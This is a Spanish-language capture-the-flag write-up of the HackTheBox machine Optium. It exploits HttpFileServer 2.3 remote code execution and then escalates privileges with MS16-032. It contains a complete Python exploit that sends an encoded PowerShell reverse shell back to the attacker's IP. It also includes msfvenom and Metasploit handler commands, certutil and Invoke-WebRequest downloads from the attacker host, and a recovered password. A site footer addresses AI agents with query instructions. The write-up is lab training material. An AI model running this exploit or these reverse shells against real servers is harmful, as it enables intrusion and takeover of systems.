> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/windows-easy/optium-hackthebox-writeup.md).

# Writeup de Optium en HackTheBox

{% embed url="<https://app.hackthebox.com/machines/6>" %}

{% hint style="warning" %}
**Habilidades:**

* Explotación de HttpFileServer 2.3 (RCE)
* Enumeración del sistema - Windows Exploit Suggester
* Windows Server 12 (MS16-032) (Escalada de privilegios)
  {% endhint %}

## Reconocimiento

**Configuración del espacio de trabajo:**

Configura el espacio de trabajo creando tres carpetas para almacenar contenido importante, exploits y resultados de reconocimiento de Nmap.

<figure><img src="/files/deccd81bee2cb91e2807c362f19082105f4e6668" alt="" width="563"><figcaption></figcaption></figure>

**Comprobación de conectividad VPN**

Comprueba la conectividad VPN para asegurar una comunicación estable con la máquina objetivo.

<figure><img src="/files/b4cc5fbc9a6c68889feb565082c11dc6ea1cfb7a" alt="" width="563"><figcaption></figcaption></figure>

**Descubrimiento de puertos abiertos con Nmap:**

Enumera los puertos abiertos y exporta los resultados al archivo "allPorts" en el directorio de Nmap:

```bash
nmap --open -p- -sS --min-rate 5000 -vvv -n -Pn 10.10.10.8 -oG allPorts
```

<figure><img src="/files/b3bb7ba0a3859ec039b9dc37cb5d3c06480e5085" alt=""><figcaption></figcaption></figure>

**Análisis de puertos abiertos con extractPorts:**

Usando la función extractPorts para mostrar de forma concisa los puertos abiertos y copiarlos al portapapeles (80)

<figure><img src="/files/c4c1d21847f8e95f9638c1d80628b1edc03c006a" alt="" width="563"><figcaption></figcaption></figure>

Escaneo de versiones de puertos con Nmap:

Usa Nmap para escanear las versiones de los servicios y guardar la salida en el archivo "targeted":

```bash
nmap -sCV -p80 10.10.10.8 -oN targeted
```

<figure><img src="/files/9b4988693eb1203afd3778039b2d0bf5f38132c6" alt=""><figcaption></figcaption></figure>

Para resolver nombres de dominio a direcciones IP mediante DNS, se inserta el nombre de dominio asociado con su dirección IP en el `/etc/hosts` archivo:

<figure><img src="/files/089b375653762ff7ba69b004d7ad2ffe246f9c5a" alt="" width="563"><figcaption></figcaption></figure>

## **Explotación**

### **Puerto 80 : HttpFileServer 2.3**

Se descubrió un servidor web HttpFileServer 2.3. Tras buscar, esta versión es vulnerable a la ejecución remota de código (NCE).

<figure><img src="/files/aafab84d34051b659b8d066529f732845c1f3878" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/d6db80fbbba0889ece9a57c11a12339e49ac3e43" alt="" width="503"><figcaption></figcaption></figure>

### **Investigación de la explotación**

Comando:

```bash
searchsploit -m windows/remote/49584.py
```

{% embed url="<https://www.exploit-db.com/exploits/39161>" %}

**Script de Python personalizado**

<figure><img src="/files/3ad79994e21d7fdbf2fd3954370f4e8740948b88" alt=""><figcaption></figcaption></figure>

**Script de Python personalizado**

El script debe modificarse para incluir los siguientes parámetros:

* `LHOST` : tu IP local (VPN).
* `LPORT`: puerto de escucha local (p. ej., 4444).
* `RHOST`: IP de destino.
* `RPORT`: puerto del servicio vulnerable (p. ej., 80).

```python
import base64
import os
import urllib.request
import urllib.parse

lhost = "10.10.14.12"
lport = 4444
rhost = "10.10.10.8"
rport = 80

# Definir el comando que se escribirá en un archivo
command = f'$client = New-Object System.Net.Sockets.TCPClient("{lhost}",{lport}); $stream = $client.GetStream(); [byte[]]$bytes = 0..65535|%{{0}}; while(($i = $stream.Read($bytes,0,$bytes.Length)) -ne 0){{; $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i); $sendback = (Invoke-Expression $data 2>&1 | Out-String ); $sendback2 = $sendback + "PS " + (Get-Location).Path + "> "; $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2); $stream.Write($sendbyte,0,$sendbyte.Length); $stream.Flush()}}; $client.Close()'

# Codificar el comando en formato base64
encoded_command = base64.b64encode(command.encode("utf-16le")).decode()
print("/nComando codificado en formato base64...")

# Definir el payload que se incluirá en la URL
payload = f'exec|powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -WindowStyle Hidden -EncodedCommand {encoded_command}'

# Codificar el payload y enviar una solicitud HTTP GET
encoded_payload = urllib.parse.quote_plus(payload)
url = f'http://{rhost}:{rport}/?search=%00{{.{encoded_payload}.}}'
urllib.request.urlopen(url)
print("/nPayload codificado y solicitud HTTP GET enviada al objetivo...")

# Imprimir alguna información
print("/nImprimiendo información para depuración...")
print("lhost: ", lhost)
print("lport: ", lport)
print("rhost: ", rhost)
print("rport: ", rport)
print("payload: ", payload)

# Escuchar conexiones
print("/nEscuchando conexiones...")
os.system(f'nc -nlvp {lport}')
```

Escucha en tu máquina:

```bash
rlwrap nc -nlvp 4444
```

<figure><img src="/files/dd04e1e3ff53ec49ad0a74a122ac96362ed3d123" alt=""><figcaption></figcaption></figure>

### Bandera user.txt :)

<figure><img src="/files/23297ee51aa57fd79cf52f238e5774396a46a386" alt="" width="563"><figcaption></figcaption></figure>

## **Escalada de privilegios**

### **Enumeración con winPEAS** <a href="#winpeas-enumeration" id="winpeas-enumeration"></a>

Lanzamos la herramienta winPEAS para realizar reconocimiento en la máquina objetivo a través de winrm. El objetivo es descubrir información sensible e identificar posibles vulnerabilidades.

{% embed url="<https://github.com/carlospolop/PEASS-ng/releases/tag/20220717>" %}

**Descargar y ejecutar winPEAS**

```
Invoke-WebRequest -Uri "http://10.10.14.12/winPEASx64.exe" -OutFile "winPEAS.exe"
./winPEAS.exe
```

<figure><img src="/files/eb89d8edabf249396455348afe7bc879fd2a7224" alt=""><figcaption></figcaption></figure>

Esto nos permitió descubrir información crítica, como contraseñas y detalles sobre la versión del sistema operativo.

<figure><img src="/files/e349a21637b115ed05cecaa0000d7f4840c9b433" alt=""><figcaption></figcaption></figure>

**Palabras de contraseña descubiertas**

`kostas:kdeEjDowkS*`

Además, la herramienta reveló que la máquina ejecutaba Windows Server 2012 R2 Standard, una versión vulnerable con un exploit asociado para elevar privilegios a través del kernel.

<figure><img src="/files/f367bd0ceef0c0648698b90bd532b0738d1484d0" alt=""><figcaption></figcaption></figure>

### Explotación del kernel:

Buscamos exploits específicos de Windows Server 2012 R2 para la escalada local de privilegios. El **MS16-032** exploit resultó ser relevante para esta versión de Windows.

{% embed url="<https://github.com/SecWiki/windows-kernel-exploits>" %}

* **MS16-032** para Windows 2012 R2 (escalada local de privilegios).

{% embed url="<https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-032>" %}

### **Shell inversa mediante Metasploit**

Luego creamos un archivo a.exe para establecer una shell inversa desde Metasploit. Se siguieron los siguientes pasos:

Escuchando en Metasploit:

```bash
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 10.10.14.12
set LPORT 4444
exploit -j
```

Crear carga útil `shell.exe` con el siguiente comando:

<pre class="language-bash"><code class="lang-bash"><strong>msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.12 LPORT=4444 -f exe -o shell.exe
</strong></code></pre>

Transferir la carga útil usando un servidor HTTP de Python y `certutil`:

```bash
python3 -m http.server
```

```powershell
certutil.exe -f -urlcache -split http://10.10.14.12:8000/shell.exe
```

Una vez transferido el archivo, logramos establecer una sesión de Meterpreter (sesión 1).

<figure><img src="/files/4c28bd29617472290976b5da4914b2ee707177cc" alt=""><figcaption></figcaption></figure>

### **Explotación de la vulnerabilidad MS16-032**

Después de obtener acceso a la máquina, buscamos el exploit vulnerable en Metasploit:

`exploit/windows/local/ms16_032_secondary_logon_handle_privesc`

<figure><img src="/files/8f8dd19e7c6a84c8eb4048dd2e474fa7d8a8ecb7" alt="" width="563"><figcaption></figcaption></figure>

Establecimos sesiones, configuramos `LHOST` y `LPORT`y seleccionamos el objetivo Windows x64 para evitar conflictos. Una vez completado el exploit, obtuvimos acceso total al sistema objetivo.

<figure><img src="/files/7585084d792e69a70036051fd041fed64eb897bb" alt=""><figcaption></figcaption></figure>

### Flag de root :)

<figure><img src="/files/66306aeccf3da5f5c59b1112272371afc7fc8780" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/3be35bf6428eb10b6d7cdb0c5169f1c18eff74cc" alt="" width="523"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/windows-easy/optium-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
